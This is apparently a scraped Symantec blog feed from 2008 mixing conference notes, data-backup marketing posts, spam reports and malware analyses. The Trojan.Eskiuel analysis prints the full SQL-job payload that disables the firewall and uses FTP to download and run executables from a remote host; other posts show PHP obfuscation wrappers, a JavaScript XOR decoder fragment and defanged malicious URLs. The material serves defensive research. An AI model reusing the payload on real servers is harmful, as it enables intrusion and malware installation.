As the Chair of this year's Cutting Edge conference, hosted each year by the Office of the CTO, I can say it was a wonderful opportunity to manage an event that brings together engineering groups across Symantec. Known as "a conference by engineers, for engineers," Cutting Edge continues to provides an atmosphere where people feel comfortable discussing ideas across organizations.
This year's theme is "How We Win," and there are three key areas where we see this taking shape. First, we must highlight the Symantec innovation model, which is a balance between organic innovation and innovation by acquisition of leading technologies. Second, the direction of our innovations must be driven first and foremost by our customers. Our customers are telling us that they like our products, and we must continue to listen to their needs and include features to help them do their business better. Third, making our products work together is a priority among our product groups. Many people in the Cutting Edge sessions mentioned that the way we want to get products to work together better is by utilizing the Symantec Open Collaborative Architecture (OCA). The Symantec OCA enables collaboration among Symantec products (and third party products) in several ways: through exposing web services, by utilizing the mature and polished Symantec Management platform and by utilizing the Symantec Workflow engine.

Random Cutting Edge observations: watching four wild and crazy guys playing Rock Band and capturing at least two "entertaining" videos of the entire performance at the Tuesday night reception was a sight to behold (and to laugh at as well). Engineers congregated around the various exhibits and seemed to be in their element and enjoying themselves.

Overall, it was a fantastic start and made all of the hard work and preparations worthwhile. "A conference by engineers, for engineers" is our mantra, and the event gets better each year.]]> Tom Thomassen https://forums.symantec.com/syment/blog/article?blog.id=emerging&message.id=115#M115 Evolution Of Security 2008-10-03T20:51:50+00:00 The (File)Name Game! https://forums.symantec.com/syment/blog/article?blog.id=security_risks&message.id=51#M51 Digging into our honeypots and spam-trap systems to look for malicious attachments is always an interesting exercise. We can identify different spam campaigns and map together malicious binaries by correlating attachments and filenames. Nevertheless, it's also funny to see how the bad guys are still trying Digging into our honeypots and spam-trap systems to look for malicious attachments is always an interesting exercise. We can identify different spam campaigns and map together malicious binaries by correlating attachments and filenames. Nevertheless, it's also funny to see how the bad guys are still trying to entice users to run executable attachments-pushing their creativity and social engineering skills to extreme levels. Invoices, contracts, delivery notices, and all types of tickets are travelling by mail everyday, hitting millions of mailboxes; all in the hope that a few users, sooner or later, will be fooled by a perfectly orchestrated malicious e-mail (yes, it does still work, and old tricks are always the best).

Just for fun, I tried to create a picture of the breakdown of the most common malicious spam campaign observed on a set of emails received during the month of September. As you will notice from the chart below, the "Fees_2008-2009" attachment is still the most prevalent, followed closely by "e-card" and various "video codec" Trojans. A series of fake "Contract, Abstract, and Approved" Trojan files are also making the rounds these days.



Looking from a different perspective, we can still gather interesting information about filenames commonly used by malicious program by digging into generic antivirus detections. Many of these malicious binaries are compressed or encrypted with custom-made packers, often armored with exotic anti-emulation and somewhat funny anti-debugging tricks to evade antivirus detections. Using the polymorphic abilities of a packer, the bad guys generate hundreds of different samples from a single malicious executable in order to minimize the chance of being detected. These bad packers-used only by malicious programs-are very common for a lot of different Trojans and misleading applications, which jump from one packer variant to another every time they are detected by generic detections.

Generic antivirus detections for files created by bad packers are frequently released for our products with the prefix name of "Packed.Generic." It is nice to see a single generic detection catching thousands of different malicious samples in one shot, as shown by the chart below, calculated only during the month of September. Spikes in volumes usually occur either when a new spam campaign starts, or when there's a shift in the threat landscape (with a malicious code family moving from one packer to another).



Packed.Generic detections are also useful for identifying different malware families that share the same bad packer. I always wonder if this fact means that there's a single guy behind the distribution of different Trojans, or if it's just a coincidence.

Here are some filename statistics related to some of our recent generic detections having good hits recently:

Name: Packed.Generic.177
Description: Commonly used by misleading applications such as AntiVirus2008,
AntiVirus2009, AntiVirusXP2008 and their Downloaders.

lphc*.exe (e.g. lphcjooj0ecg4.exe)
AV2008install.exe
file.exe
.tt4.tmp
scan.exe
TDSS*.tmp
TDSS*.dll

Regardless of the spam campaign, filenames, and/or packer used, the thing that you may have noticed these days is the fact that pretty much all of these malicious emails and samples are somehow related to misleading applications. In most cases, these misleading apps end up downloading and installing an antivirus clone program or a fake security product. So, now that you know the common filenames used by the bad guys these days, watch what you click when you receive your next email!

Here at Cutting Edge we have a lot of exciting technological developments and innovations to share. At the top of the list for me is the Symantec Open Collaborative Architecture (OCA), which prescribes a technology direction to enable collaboration among Symantec products and third-party and partner products.


The architecture is based on a loosely coupled interoperability model that requires products to adhere to a limited set of technology requirements in order to be considered OCA-enabled. The Symantec OCA enables products to interoperate for the purpose of data/information sharing among multiple products. This allows task and operational control of one product to be initiated by another product while creating loosely integrated process automation solutions for IT domain-specific processes, as prescribed in ITIL, for example. Working across IT domains, sharing and exchanging data, and enabling automation all contribute to greater cost effectiveness and risk management for the enterprise.

Open Collaborative Architecture is neither a product nor a solution in itself and cannot be purchased independently of the products that adopt its technologies. The idea is to prescribe an evolutionary approach to interoperability and solution construction, building on the Altiris solution model that is available today. As a common solutions and software architecture, the OCA enables various forms and multiple models for interoperability, none of which are mutually exclusive.

Using standard technologies around web services, web-based security, workflow management, and configuration management, the OCA provides greater flexibility and openness to build complex, multi-disciplinary, and multi-vendor solutions that can be tailored to meet specific business needs.

Why? The last few years have brought serious challenges to the dominant antivirus fingerprinting approach. Right now, the security industry is built around the fingerprinting model - all of our processes, our automation, our data collection, our publishing systems - they're all designed around the blacklisting model.
Unfortunately, while the industry had its head down honing the blacklisting approach (Symantec can automatically analyze and fingerprint up to 6M samples per week - how's that for honing?), the rest of the world changed. Recent Symantec studies show that the volume of malware released now outpaces good software (potentially representing up to 65% of all unique software apps). Furthermore, industry reviews show that many new malware programs slip past all major antivirus products - it often takes days or weeks for antivirus vendors to catch up and protect against a newly released threat. And, some threats never get detected - a threat that's personalized by an attack server for a single user may never be discovered by security vendors!

And of course, while we could just ratchet up the model and ship 20, 30, or 50 thousand fingerprints per day to customers, before long you'll have no RAM left to run legitimate software. The model is close to being broken. Fortunately, Symantec's been anticipating this problem for a long time. In fact, we started working on a replacement approach to classic blacklisting about two years ago.

This Cutting Edge is exciting for me because for the first time we're sharing the results of our project with our colleagues, and the results are extremely promising: in many use cases it appears to be significantly better than traditional fingerprint-based antivirus software at detecting new threats. So good that the project's lead engineer, Vijay Seshadri, is afraid to publish the initial results, even internally, given the stir they might make.

A "phishing kit" is small piece of software usually written in PHP, HTML, and JavaScript that mimics legitimate portals (for example, financial institution websites) in order to acquire sensitive information such as usernames, passwords, and credit card details. The phishing kits of the first generation were quite simple; the fraudster would build a login page to collect stolen information on local files, saved on the compromised web servers. As shown in the picture below, after the credentials have been saved, users are redirected to the legitimate website.

This approach has an obvious drawback: if the directory-listing feature is enabled on the web server, other Internet users (including the compromised financial institutions) would be able to read those files. The countermeasure that was adopted by the fraudsters was the usage of "drop-boxes" as shown below:



As highlighted by Andrea Del Miglio in this blog article, this way of collecting credentials is much more effective. The second generation of phishing kits I want to focus on introduced new and interesting features in order to guarantee a longer life for the attacks. Some of the features included preventing security companies from accessing the websites, which made the analysis of the deployed code much more difficult.

Because online fraud service providers usually adopt automated techniques in order to validate phishing attacks, often a fake HTTP 404 "Page Not Found" is returned in case the connection is coming from one of these security companies, as shown in the example given below. The fraudster is then notified via email when such an event occurs, allowing him or her to immediately collect all of the credentials and move the attack to a new compromised web server.


Slowing down phishing kit analysis is another objective fraudsters are trying to achieve. The sample provided in the picture below performs several iterations using the following functions in order to obfuscate the PHP source code:

eval(gzinflate(str_rot13(base64_decode('[CODE_HERE]'))))
eval(gzinflate(base64_decode('[CODE_HERE]')))



This is a similar technique that we have already noticed in web-based attacks like Neosploit, Mpack, and the recent Mebroot, where the JavaScript code is obfuscated or, in some cases, even encrypted. Phishing kit evolution does not end here. New features are constantly being developed, tested, and deployed on newly compromised web servers. Attackers are constantly proving to be fairly smart and this next generation of phishing kits is expected to spread in the wild very soon. End users who want to take extra care to protect themselves from such attacks should not trust messages coming from unknown sources and avoid visiting advertised web sites unless their origin is certain and legitimate.

At first, the fraudsters compromise a vulnerable server and deploy a package called a "phishing kit," which contains a clone application of the targeted institution. Then, mass mailing activities, with the aim of reaching a large number of recipients, are accomplished.
Symantec has carried out several forensics analyses in order to evaluate the distribution of phished users over the different phases described above. Specifically, I want to focus my attention on the portion of users submitting valid credentials after visiting a phishing website. The figure below illustrates this statistic in relation to a recent single attack, and I want to highlight the number of visits achieved and the exhaustive timeframe during which it has survived before being taken offline.



Over the twelve days taken into consideration in this sample, an average of 1.6% of users provided their credentials and so were successfully phished. Further Symantec analysis conducted on other recent attacks confirmed that the average percentage of users effectively phished after visiting a clone website is usually between 1% and 2%. This percentage may not seem very high, but consider an analogous phishing study completed in 2006, which provides a similar result of 2% of users effectively phished. (Gartner, November 2006) Given the technological advancements adopted over the past two years, the fact that the percentage of users being phished is, unfortunately, remaining relatively stable is of some concern. On the other hand, there are more phishing websites and an increased amount of phishing attacks these days; therefore there is a much larger pool of potential victims of phishing threats. These facts point to some success for different protection software (e.g. browser toolbars, anti-phishing software) that warns web visitors about the potential threats of particular websites, and/or an increase of more web-conscious users that are wary of suspicious URL they are visiting.

These statistics highlight, once again, how important is to continue encouraging end users to practice safe online behaviors; that is, invite them to ensure the validity of the web application they are using as well as the legitimacy of the SSL certificate. In addition, it is just as important to assist them in taking care of their end points by recommending the usage of software that is capable of protecting against the latest online threats-for example, many financial institutions have already started providing discounted consumer protection software to their customers. There is still a requirement for further technical advancement and also increased education for end users so that we can all continue to combat phishing threats.]]> Davide Veneziano https://forums.symantec.com/syment/blog/article?blog.id=online_fraud&message.id=95#M95 Security Risks 2008-09-29T23:22:15+00:00 Risk Management and Data Protection https://forums.symantec.com/syment/blog/article?blog.id=data_loss_prevention&message.id=11#M11 The idea of risk management is in the news lately, given the turmoil in the financial markets.

The idea of risk management is in the news lately, given the turmoil in the financial markets. Working in data protection, we think long and hard about risk management. Our data protection products give an enterprise significant protection in the case of an actual disaster, man-made or otherwise. Disasters, while an important factor when considering data protection in an enterprise, are in actuality low probability/high impact events. The 2007 Symantec State of the Data Center report shows that datacenter managers know that downtime is not generally caused by a disaster.

Chief reasons for downtime

As you can see, in the data center the "tide" that goes out is often just a human error or a hardware failure. There is a lot of supporting evidence that correlates this. For instance, in a recent survey of NetBackup users, we found overwhelming evidence that restore requests are primarily due to an individual user deleting files or directories. You can't protect yourself from human error by simply relying on hosted services. Even highly reliable "storage cloud" or hosted services can experience significant outages, which can often be traced to human errors. Do an Internet search on "cloud outage" if you have doubts.

When I mull this over I come to two conclusions. First, when it comes to backup and recovery operations, you want the process to be as automated as possible. This requires a central catalog managing the process so that no one has to remember how to properly restore the data correctly. You probably need to restore data because of human error already, why introduce the possibility of more human error during restore? Secondly, when you decide on data protection architectures, both the strategies and the return on investment calculations have to factor in both the low probability/high risk events like a natural disaster, but also the high probability daily events of human error.

Our honeypot servers are full of plenty of worms that spread by email, IM, file-sharing, or network vulnerabilities, so finding a Trojan that targets SQL databases is always an unusual surprise for a virus researcher.

Some of you may remember the W32.SQLExp.Worm back in 2003-it was a bad worm that tried to exploit a vulnerability in SQL servers in order to spread. Similar threats exist, such as Hacktool.SQLck and various security assessment tools like SQL Ninja.

This time we have found a new SQL threat: Trojan.Eskiuel. The main functionality of this threat is to scan the Internet to find machines with poorly configured SQL servers (i.e. with weak or non-existing passwords), gain access to them, and use their stored procedures in order to download new malware from a remote host.

The anatomy of the attack is pretty simple. When run, the threat will read the IP address passed as an input parameter in the command line, and will start scanning all of the class B subnet of that IP address, looking for an SQL server.

Image 1: The threat is scanning the local subnet looking for SQL servers and it found one on the local machine (the computer is running a test SQL server with a weak password).

Once an SQL server is located, the Trojan will run a bruteforce attack on some common weak passwords for the administrator "sa" account. Note that the threat does not try to exploit any vulnerability, it is only trying to take advantage of SQL servers that may not be properly configured. When a weak password is found, the Trojan will log into the SQL server with full administrator rights.

Image 2: The threat was able to gain access to the SQL server and is now running commands and stored procedures in administrator mode.

At this point, the threat will be able to send commands for executing some common SQL stored procedures. In particular, it will disable some security settings and will use the stored procedure sp_add_jobstep in order to run a batch script, which is the real malicious payload.

Image 3: Network capture of the malicious Query Packed, which is used to run the sp_add_jobstep procedure to inject the batch script.

Normally the xp_cmdshell stored procedure is used in these kind of attacks and it is usually recommended that this procedure is removed from the server, unless it is absolutely necessary to have it. However, the sp_add_jobstep is a less common procedure, so there may be a better chance to find it and use it on a server, even though it is a little more tricky to use. The threat will need to modify the registry value HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines\SandBoxMode in order to lower the security settings of the server and to be able to run unsafe code. The core payload is the following (a text dump of the data take in the network capture in Image 3):

exec sp_add_job 'ux';
exec sp_add_jobstep Null,'ux',Null,'1','CMDEXEC','Cmd /c Copy ias\dnary.mdb dnary.mdb&del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&md ZeHin&cd ZeHin&del *.* /f /s /q&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&echo open SuperQ.Vicp.Cc>k.x&echo new>>k.x&echo 123>>k.x&echo mget *.exe>>k.x&echo bye>>k.x&ftp -i -s:k.x&del k.x&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat';
exec sp_add_jobserver Null,'ux',Null;
exec sp_start_job 'ux';


The batch script will disable the security settings (firewall, remote access policies), and will use the system's ftp.exe program to download and run several executables from a remote host.

Image 4: The threat was able to run the batch script and open an ftp connection towards a malicious IP, from which it will download several malicious files.

Machines with a badly configured SQL server are exposed to this threat, which can attack the servers both locally or remotely. Standard good security practices are advised to tackle this risk: set a strong password for the SQL server administrator account, block access to the server from unrequired networks, and properly configure access rights for the stored procedures.

This time around, it is the Microsoft Media Encoder ActiveX overflow patched in MS08-053. This attack chronology is another example of the rapid adoption of public exploits into widely deployed exploit toolkits.
The exploits that we have been finding so far are distributed in two major ways. One is that they are simply cleartext. That is, they are not obfuscated in any way, but are effectively the same as the public exploit, with attacker-supplied shellcode substituted for the sample shellcode in the public exploit. The second method that we are seeing the exploit is encoded in a fairly wildly deployed toolkit that seems to be called e2.

This e2 attack toolkit is a system that appends its first stage-encrypted block to an otherwise legitimate web page to begin its attack. It is detected by existing IPS signatures as HTTP Malicious Toolkit Variant Activity. This first stage will then redirect the user to either an intermediary redirector, or directly to the attack page. In either case, the result is the same-the user will eventually arrive at the e2 attack page. The e2 encryptor is much like later versions of Mpack, in that an encrypted block is fed to a two-key decoder. By this, I do not mean that it is using a public key variant, but rather a decoder that takes the following form:

String.fromCharCode(key2 ^(key1 ^ encodedString.charCodeAt(i)
(Where key2 and key1 vary.)

The move to virtual environments and all of the benefits they afford has been widely addressed. Myth #6: Backing up Virtual Machines Require Multiple Point Products

Just in time for VMworld this week, I'd like to debunk one last myth around data protection-the myth that virtual machines automatically require an additional set of tools to properly protect them. The move to virtual environments and all of the benefits they afford has been widely addressed. However, a recent Symantec survey found that of all the customers planning a move to virtual environments, over 65% were re-examining their data protection strategy.

Sounds like increased complexity, doesn't it? Isn't the potential for less complexity one of the major value propositions of moving to a virtual server infrastructure? We think that with the right strategy, IT groups can implement a data protection strategy that will protect both physical and virtual environments from a single solution-moving away from complexity and taking a step toward simplification.

As the adoption of virtual technologies increases, businesses must take a look at the tools and technologies for backing up and restoring these virtual machines as well as the data stored on them. While traditional approaches to backup and recovery in the physical world sometimes do not always translate well to virtual infrastructures, there are advanced options today that allow organizations to easily protect their data and systems in a physical and virtual environment through a single simplified solution. Advanced technologies can also reduce complexity by enabling users to backup an unlimited number of guest machines within a host environment to disk or tape from a single agent.

A number of tools also provide for automatic discovery of virtual machines. This capability is often offered as part of the backup policy to make it easier for administrators to select specific or all virtual machines associated with an enterprise-level virtualization technology.

With the right strategy for protecting data and systems within both a physical and virtual environment, organizations can adopt a fast, low-impact approach that will reduce the challenges involved with data protection on virtual machines.]]> JasonFisher https://forums.symantec.com/syment/blog/article?blog.id=data_loss_prevention&message.id=10#M10 Emerging 2008-09-12T19:00:10+00:00 Top Data Protection Myths - Myth 5 https://forums.symantec.com/syment/blog/article?blog.id=data_loss_prevention&message.id=9#M9 As we make our way through common data protection myths, we have talked quite a bit about how innovation has advanced data protection technologies over the last few years. In fact, until fairly recently data protection was all about backup. How fast can we backup our data? What is the success rate of backups? These were the primary concerns for IT administrators. Myth #5: Data Protection is Just Backup

As we make our way through common data protection myths, we have talked quite a bit about how innovation has advanced data protection technologies over the last few years. In fact, until fairly recently data protection was all about backup. How fast can we backup our data? What is the success rate of backups? These were the primary concerns for IT administrators.

Now, recovery is the star of the show. It's not simply about backing up the data. The data must be recoverable-usually quickly and at the right granularity. Therefore, recovery is largely viewed as the most important aspect of data protection. If an organization cannot recover the data when they need it, what is the point of backing it up in the first place?

Here's an example. Imagine that you are a small business that relies heavily on IT functions for sales, operations, and day-to-day communication. Perhaps you run a law firm and need to produce a specific file or email for a court case. That small amount of data must be recovered. And, depending on your deadline, you need the ability to do it quickly.

As I've mentioned throughout this series, the tolerance for data loss in today's environment is minimal-even for the smallest organizations-but that low tolerance (and the speed at which it is recovered) is only part of the larger recovery equation.

The other challenge is the growing importance of granular recovery, which is the need to recover a single document, file, or piece of data. Advanced granular recovery technologies allow users to protect data with a single-pass backup but recover data at either the granular, file-level or image level. This technology is available for file systems as well as Microsoft Exchange, SharePoint, Active Directory as well as virtual environments.

The number of recovery scenarios is always becoming more complicated. If granular recovery is at one end of the spectrum, the other might be complete system recovery, otherwise known as "bare metal recovery." Integrated system recovery technologies can leverage single-pass backups for fast, yet comprehensive system recovery-even in dissimilar hardware environments.

With these new technologies-and new demands-the emphasis has shifted. Backup performance used to be the primary consideration when selecting a backup product. While backup performance is still a major factor when considering a solution, it's really all about recovery today. And, the recovery needs of organizations can vary greatly based on the organization and the scenario.

Tomorrow, we'll close out our series by debunking myths around virtual machine backups.

As I mentioned, granular level recovery is one technology that enables IT meet those RTOs and RPOs. However, I didn't talk about some of the perceived challenges of granular level recovery, so I'd like to debunk the myth that it takes too long to restore data at this level. Myth 4: Granular Level Recovery Takes Too Long

In Myth #2 we talked about granular recovery as a main driver for implementing disk into the backup infrastructure and a good way to help IT meet today's RPOs and RTOs. As I mentioned, granular level recovery is one technology that enables IT to meet those RTOs and RPOs. However, I didn't talk about some of the perceived challenges of granular level recovery, so I'd like to debunk the myth that it takes too long to restore data at this level.

Advanced granular recovery technology enables businesses to quickly restore individual emails, files, or documents from one backup pass, saving significant time and money. Up until now, backup and recovery procedures have been arduous, requiring multiple agents and multiple backups. For example, here is what might be required on an Exchange server:

* Full database backup - so a full recovery of the Exchange server could be performed if needed.
* Granular recovery of Exchange - via a mailbox, or "brick-level" backup. MAPI technology means this backup can take up to four times longer than a whole database backup.
* Incremental backups of the database and mailbox each night.

The problem with this scenario? Multiple backups lead to massive storage and time consumption, which can be a nightmare to manage. And, let's not forget the unpleasant mechanics of traditional message-level recovery for points one and three above if mailbox-level backups are too painful to implement, forcing the need to recover to a recovery storage group first. This is a gross inefficiency of time spent and storage consumed.

Here's another scenario that illustrates the shortcomings of some of the traditional backup and recovery procedures: let's say need to quickly produce (within 24 hours) an email that was sent last week. Your recovery solution may have the data, but there is no way you can meet your recovery deadline. With granular recovery technology, it is much easier than it sounds. It is not difficult to implement and it provides an easy approach for quick recovery. Administrators have quick and random access to backups performed to a disk. For example, an Exchange administrator can browse a backup set just like browsing Exchange and select the items to restore-even down to the individual email.

We have observed a fraudulent spam attack masquerading as an email from Symantec. This email is in Portuguese and contains the Symantec logo and coloring, which make it appear as a legitimate email from Symantec. The "From" line is forged to add further credibility. The "Subject" and "From" lines appear as follows:

Subject: Security Check
From: SYMANTEC

Needless to say, this is not from Symantec. The body of the message contains text that indicates that the Symantec Security Check System has tested your computer and found "X" number of dangerous imperfections. The email goes on to say that your computer is infected with the virus "Worm@bda.267." Users are encouraged to click the provided link to download updates to protect their systems from further damage from this worm. Incidentally, there is no such virus as Worm@bda.267.

If the link is clicked, the virus will be downloaded onto the victim's computer. Spammers are using a social engineering technique by leveraging the reputation that Symantec has for antivirus. The spammers are also banking on the hope that if Symantec tells you that you have a virus and provides a link to download protection, you might just click it.

The body of the email looks like the following:

One interesting thing about this attack is the use of "recycling" by the spammers. We've seen this exact spam attack before, but not for approximately two years or so. The spam message back then was also in Portuguese and had an almost identical body to this more recent spam. In the previous attack the payload was a downloader, but it is interesting to see that spammers are recycling nearly identical messages several years apart

This is one trick that you shouldn't fall for. When receiving any emails from any reputable company, always check the headers to verify that they match the company that the message is supposedly coming from. This is especially important in the current flurry of virus emails and if you're ever in doubt, it doesn't hurt to send an email or make a phone call-check with the (supposed) sender of the message to make sure that it is legitimate.

In part three of our series on data protection myths, I thought we could take a look at the dreaded upgrade. Upgrading your data protection software is generally perceived as a painful process among the IT crowd. At the same time, that crowd is seeing the need to upgrade. Gartner research from July 2008 proved this. In a survey of 70 IT managers, 66% of respondents said they were planning major redesigns of backup and recovery systems within 12 months, according to analyst Alan Dayley. That is a lot of frustrated IT managers.

Fortunately, we think this is yet another data protection myth. While the process might seem daunting, in actuality, upgrading to the right solution will eliminate headaches in the long run. Today's data protection technology will save time and money. IT professionals are beginning to realize that outdated backup software can't handle the RTO and RPO demands of today, as well as the ever increasing amounts of data that exist in the typical organization.

What users might not realize is that newer data protection technologies leverage lifecycle management technology for the data protection infrastructure itself, which makes it much easier for IT administrators to upgrade old versions from years ago to the latest solutions. With the right infrastructure management tools, an overhaul might not be as painful as users think.

While some IT organizations prefer to keep old versions of their backup and recovery solutions, upgrading can provide significant benefits by using newer technology that will ultimately save them time and money. Also, big vendors usually have solutions optimized for a specific market segment and priced accordingly, so SMBs can reap similar benefits to an enterprise at a price point more specific to an SMB size. Customers who may be using a very old version of a product are frequently faced with the unpleasant scenario of how to get from "A" to "E." Innovative data protection solutions can virtually eliminate the pain of a very manual process. Imagine all the man-hours that could be recaptured if the process of automating the patching and upgrading of a data protection infrastructure were streamlined.

I've spent the last couple of weeks travelling through Latin America (Mexico, Brazil, and Argentina) and the one commonality between my experiences in each of these three countries is that I don't speak the local language in any of them. In high school, I studied French, not Spanish, and Portuguese wasn't even taught. So, at restaurants I can never read the menu and I usually attempt, in very broken Spanish, to ask the waiter for a recommendation ("Que es bueno?"). Then he says something and I nod enthusiastically and smile.

The process reminds me a bit of what backup administrators face when they are trying to figure out how to back up their VMware environments. There are many ways to do it and often they don't know which is best. The easy and obvious way is to run a backup client from inside each virtual machine. In some cases that works fine, but in other cases, all the backups running simultaneously overloads the physical server (the challenges of sharing I/O and CPU across a whole lot of processes). Another way is to run a backup client from inside the service console. And yet another way is to leverage VMware's VCB technology, which is a high-performance snapshotting solution that moves the VM image to a separate (proxy) server from which the actual backup is executed.

So, which is best - the red salsa or the green (verde)? Well, it depends. Because the answer is not the same for everyone, and sometimes, trying to decipher the options is like reading a menu written in a language you don't understand. You might be looking for the easy, watered-down "mild" solution, when what your environment really needs is the latest and greatest deduplication technology (picante hot!).

We don't advocate that users replace tape entirely; in fact, there is a place for tape backups in most IT environments. Myth 2: Disk-Based Technologies Are Too Complicated

Late last week, we kicked off a blog post series looking at the common myths that exist around data protection technologies. I tried to convince users that scalability can be realized with the right data protection strategy, thanks to the innovative technologies that exist today.

Technological advancement with hard disks has been a tremendous driver for data protection technologies, yet some users think disk-based technologies are too complicated. We don't advocate that users replace tape entirely; in fact, there is a place for tape backups in most IT environments. However, don't shortchange yourself by overlooking today's new disk technologies. Some of them might be intimidating, but in actuality they will help administrators reduce storage capacity and IT overhead.

The most compelling driver for disk technologies might be the ability to meet recovery time objectives (RTOs) and recovery point objectives (RPOs) more easily. Even the smallest organizations must deal with the fact that the tolerance for data loss is dramatically lower than ever before.

Disk technologies provide a great platform for software manufacturers to do things that are just not possible with serial-storage media such as tape. A prime example is the ability to use a single backup set of data coupled with granular recovery technology to address today's complex recovery scenarios. Users can gain the ability to recover everything from a single document to an entire system with just one backup. Disk also powers entirely new possibilities for complete system recovery. Bare-metal recovery to dissimilar hardware environments-as well as to virtual environments-is a must-have in every IT organization's toolbox, even those without deep pockets.

Data deduplication and continuous data protection (CDP) take disk to the next level for many users. Data deduplication, which can be driven with software or hardware, looks for redundant instances of backup data at a sub-file, or block level, across all backup data.

Continuous data protection (CDP), also called continuous backup, refers to the automatic backup of data every time data on a volume, file system, or database system changes. It allows administrators (and in some cases users) to restore data to any point in time, so with today's RTOs and RPOs it makes CDP a very compelling solution. Writing a continuous stream of data demands that disk-based solutions are implemented.

A growing number of disk-based backup and recovery tools also provide online backup and restore capabilities via storage-as-a-service (SaaS) technologies. For small businesses or remote offices with limited or no IT staff on site, this service saves time and resources and eliminates the headaches associated with tape-based backup by electronically sending backups to a secure offsite location where they are safe from hardware failure, malicious code and natural disasters. "Last-mile" issues of Internet access bandwidth still plague customers of all sizes. Coupling SaaS with existing in-house data protection tools eliminates the "all-or-nothing" proposition of traditional SaaS offerings. This hybrid approach allows customers to take advantage of SaaS for protecting their most critical data from site disasters but continues to leverage the power of in-house solutions for fast recovery in all but the most disastrous situations.

The bottom line is that disk technologies can help IT managers sleep better at night. As the tolerance for data loss dramatically decreases, the role of disk is becoming more critical in any organizations data protection strategy. More data protection myths will be busted throughout the week-stay tuned.

Plenty has been said about the challenges that exist today for IT and data center managers. I will spare you the typical descriptions about the increase in mission-critical data, plain old exploding volumes of data, and data distributed across a dispersed workforce. We're all well aware of these issues.

Let's talk about the good news. There is a tremendous about of innovation in data protection technologies today. Take a second to think about everything you've heard about granular recovery, data deduplication, cloud-based storage, SaaS, innovative data protection technology for virtual environments, and continuous data protection. These are all technologies that can be applied to solve specific challenges in the context of a larger data protection platform, and IT folks are beginning to catch on to most of them. However, this innovation has come with quite a few myths that I'd like to dispel with a blog series about data protection technologies. I'll take a stab at providing some insight into how organizations can use some of the latest and greatest technologies in data protection - and talk about the most common misperceptions.

For Myth Number One, I'd like to focus on scalability because of the aforementioned issue of increasing data volumes. Environments are becoming more complex and expanding at a mind-boggling pace. So, scalability is obviously an issue for most users. Often, organizations-particularly those whom are resource-constrained or have little or no in-house data protection expertise-tend to think they need to "rip and replace" data protection software as their business grows. In reality, there has been enough innovation to give users a more dynamic and scalable approach.

So what is needed to find the right amount of scalability? Backup and recovery tools must include the capability to synchronize and manage data backups on multiple media servers and provide a central point of administration and control for job processing and load balancing. Whether an organization has just three media servers or more than 100, a central administration capability is essential to manage data protection operations across the entire backup environment. This will give users what they need to manage their IT infrastructure as it grows.

Centralized administration capabilities offer additional benefits to remote offices and departments, and give you the ability to replicate data from remote office servers to a central location at the corporate office, where data can be reliably backed up and stored.

An often overlooked, but ever-present pain point is the management of the data protection infrastructure itself-lifecycle management of agents and media servers, especially upgrading versions of product that are several major revisions old; centralization of license information, detection of unprotected resources, and real-time monitoring of data protection storage resources. These are some examples of where data protection solutions are broadening their offerings to solve some long-standing and very labor-intensive problems.

Keep checking back here more myths around data protection. We will tackle one each day over the next week to address everything from upgrading to disk-based backup, granular recovery technology to backing up virtual machines.

This increase is detailed in the Symantec State of Spam Report for September, which will be released today. The escalation of Internet spam can be attributed to the prevalence of malicious code being sent around via spam emails over the past month.
  • Sensationalized "fake" news headlines
  • Use of seemingly real news headlines
  • Purported download for the latest version of Internet Explorer
  • Malware + spam + phishing = The triple security threat for financial institutions
  • Airline e-ticket connects malicious code and spam

Sensational (and in many cases ridiculous) fake news headlines were all the rage in August. With subject lines declaring everything from possible presidential running mates "McCain Chooses Paris Hilton to be Running Mate" to "Beijing Olympics Cancelled," these emails contained a link to malicious code and were not-and I hate to be the one to break the bad news-legitimate news stories. This malware is designed to infect other computers with viruses and Trojans. Among the subject lines based upon real events that were made to appear like legitimate news articles were the ones abusing of the Russia-Georgia conflict, which we previously blogged about.

One high profile attack observed in August invited users to download a free version of Microsoft Internet Explorer 7. The message contained a dotted quad URL with an .exe download that was detected as Trojan.bluesod. Dotted quad spam occurs when the dotted quad address of the spam URL link is used in the spam message body rather than the domain name of the spam URL. This is a prevalent technique in spam and now, virus.

A triple threat to security was observed in one single spam attack in August. A phishing message against a financial institution was claiming to introduce new security measures to protect customers against fraud and identify theft. This spam message claimed that the features were mandatory and being introduced immediately via downloadable (hello, virus!) attachment. Typically when phishing, spammers will ask recipients to update account details using a bogus URL link, so this move to a downloadable attachment is a new one. Will it be a lasting technique?

You can read all about the above issues in addition to other malicious code and spam duos observed recently in the September State of Spam Report.

This time we have found that attackers have begun targeting free online service sites and our example is based on Google Notebook We have seen in recent times that malicious binaries are spreading through social engineering attack vectors like spam emails, phishing, and social networking sites. This time we have found that attackers have begun targeting free online service sites and our example is based on Google Notebook, although these attacks are not unique to this site. Attackers have started to use Google Notebook as a new social engineering attack vector to spread misleading applications. Misleading applications attempt to convince the user that he or she must remove potentially unwanted programs or security risks (usually nonexistent or fake) from the computer.

Google Notebook is a free online service that provides a way to save and share information in a single location. This free service offers a feature to save search results, notes, or images online and allow users to share these artifacts with others. Users can create notes with headings and within each note they can add more content, such as links etc.

Attackers are now taking advantage of this free service to create an attack vector to push misleading applications onto the victims' machines. While researching this problem we found cases where victims were invited to click on a malicious link. We found one author's notebook with more than 50 notes, including fake information and more malicious links. Below is a screenshot to better illustrate what has been found:




When you look closely at the "Last edited" column in the above image, you will see that they are very recent posts. Clicking on the associated links lead to author's notebook pages, where the pages contain fake information and malicious links. Below is a screenshot from clicking on the "Microsoft Windows History" link:





Based on the contents, the victim is invited to click on the links to get additional information, but ends up getting fake pop-up messages generated by fake Web sites hosting misleading applications. Here is an example of one such pop-up message:



When the victim clicks the OK button, a fake antivirus installer is downloaded to the victim's machine. The link on the "Microsoft Windows History" page contains a link to "hxxp://anitspy.com". This link will redirect the page to "hxxp://llab.com". If it is a user's first visit to the site, then the site will redirect that Web page to a malicious Web site (hxxp://pc.com), which serves up a misleading application. In other instances the page will be redirected to a search site called "hxxp://searcher.com," where the user will see an advertisement to download fake antivirus software. The complete scenario makes it seem as if attackers are running underground affiliate networks to promote misleading applications.

